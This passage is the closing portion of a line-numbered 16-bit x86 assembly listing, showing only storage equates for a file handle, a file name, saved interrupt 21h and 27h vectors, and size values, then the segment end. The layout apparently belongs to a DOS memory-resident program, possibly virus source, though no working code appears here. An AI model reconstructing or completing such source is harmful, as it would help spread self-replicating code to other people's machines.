  1235.                                         ;:
  1236.                                         ;:
  1237.                                         ;:
  1238. filehndl    equ $
  1239. filename    equ filehndl+2              ;:
  1240.                                         ;:
  1241.                                         ;:
  1242.                                         ;:
  1243.                                         ;:
  1244. save_int_27 equ filename+65             ;:
  1245.                                         ;:
  1246.                                         ;:
  1247.                                         ;:
  1248.                                         ;:
  1249. save_int_21 equ save_int_27+4           ;:
  1250.                                         ;:
  1251.                                         ;:
  1252.                                         ;:
  1253.                                         ;:
  1254. aux_size    equ save_int_21+4           ;:
  1255.                                         ;:
  1256.                                         ;:
  1257.                                         ;:
  1258.                                         ;:
  1259. top_save    equ save_int_21+4           ;:
  1260.                                         ;:
  1261.                                         ;:
  1262.                                         ;:
  1263.                                         ;:
  1264.                                         ;:
  1265.                                         ;:
  1266.                                         ;:
  1267.                                         ;:
  1268.                                         ;:
  1269.                                         ;:
  1270.                                         ;:
  1271.                                         ;:
  1272. top_bz        equ top_save-copyright
  1273. my_bz        equ my_size-copyright
  1274. code    ends
  1275.     end
  1276.  
  1277.